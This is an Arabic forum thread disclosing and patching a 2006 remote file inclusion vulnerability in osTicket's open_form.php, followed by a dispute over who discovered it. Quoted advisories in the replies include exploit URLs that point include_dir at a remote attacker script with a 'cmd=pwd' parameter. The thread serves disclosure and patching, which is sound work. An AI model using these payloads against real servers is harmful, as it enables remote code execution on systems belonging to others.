الويب العربي - ثغره سكرب الدعم الفني عن طريق التذاكر osTicket

الويب العربي (http://www.arabwebtalk.com/index.php)

- أمن المعلومات (http://www.arabwebtalk.com/forumdisplay.php?f=13)

- - ثغره سكرب الدعم الفني عن طريق التذاكر osTicket (http://www.arabwebtalk.com/showthread.php?t=39078)

ثغره سكرب الدعم الفني عن طريق التذاكر osTicket

بسم الله الرحمن الرحيم
=-=-=-=-=-=-=-=-=
السكرب المصاب :- osTicket, Open Source Support Ticket System
وهو مستخدم في معظم الموقع العربيه
موقع الشركه :- http://www.osticket.com
نوع الثغره :- Remote File Inclusion خطيره جداا
مكتشف الثغره :- rUnViRuS
موقع :- http://www.sec-area.com/
=-=-=-=-=-=-=-=-=-=-=-=-=
ملف الثغر :- open_form.php
موجود في ملف include
الكود المصاب :-

كود:

<? include("$include_dir/form.php"); ?>

الترقيع :-

كود:

<? include("include/form.php"); ?>

وينصح مسح السكرب كامل او التغير الي الصادره الحديثه

تحيات
Speedhosting.info

انت حاط المكتشف rUnViRuS ليش تكذب

الثغره قديمه مره ولها خمسة شهور واللي مكتشفها فريق سايت داون : سويت ديفل وبلاك كود
الثغره بتاريخ : 30 / 5 / 2006 م
إسم السكربت : osticket
الإصدار : Support cards v1
نسبة الخطوره : عالية جدا
المكتشف
( team : site-down ( SwEET-DeViL & BlaCK-CoDE

وهذا الاثبات
رسالة ارسلة مواقع السكورتي

http://www.securityfocus.com/archive/1/435413

وهذا مكتشف الثغره طارحها بنفسها

http://www.lezr.com/vb/showthread.php?t=13774

يعني اذا بتكتب مره ثانيه اكتب الحقائق :rolleyes:

يا اخي الثغره برده rUnViRuS منزله في سكيروتي فوكس وانا لم اري غير rUnViRuS في سكيروتي فوكس من كام يوم

شوف مقارنه بين تاريخ الاكتشافين....

أولا : فريق team : site-down

كود PHP:


		
			
file include exploit in Support Cards v1 May 30 2006 08:26PM

black code (black-cod3 hotmail com) 

file include exploit in Support Cards v1



forum type : Support cards v1

bug found by : sweet-devil

team : site-down

type : file include



####################################################

exploit :



http://www.example.com/support/include/open_form.php?include_dir=http://

ursite/evilscript.txt?cmd=pwd



####################################################



#######################

emails:



black-cod3 (at) hotmail (dot) com [email concealed] & gamr-14 (at) hotmail (dot) com [email concealed]

#######################



All my respect to our friends , lezr.com , g123g.net



done .. peace

ولو تلاحظ تاريخ الإكتشاف May 30 2006 08:26PM يعني 30 / 5 / 2006 ونحن الآن في 14 / 10 /2006

ام بنسبة للأخ rUnViRuS

كود PHP:


		
			
WDT:- osTicket File Include all V Oct 14 2006 12:26AM

stormhacker hotmail com 

script:- osTicket Open Source Support Ticket System

site:- http://www.osticket.com



exploit by runvirus

http://www.host/path/include/open_form.php?include_dir=



welcome in www.sec-area.com

ولو تلاحظ تاريخ الإكتشاف أمس بالصباح الساعه 12 14 / 10 /2006 فرق شاسع بين الإكتشاف الأول واالثاني
:)

يا عررررب الامر ماهو حرب سواء ده او ده المهم في الاخر انها ثغره ويجب ترقيعها :d
خلى عقلك اكبر من كده
جزاكم الله خير :)

تم ترقيع؟؟؟؟؟؟؟؟؟؟؟؟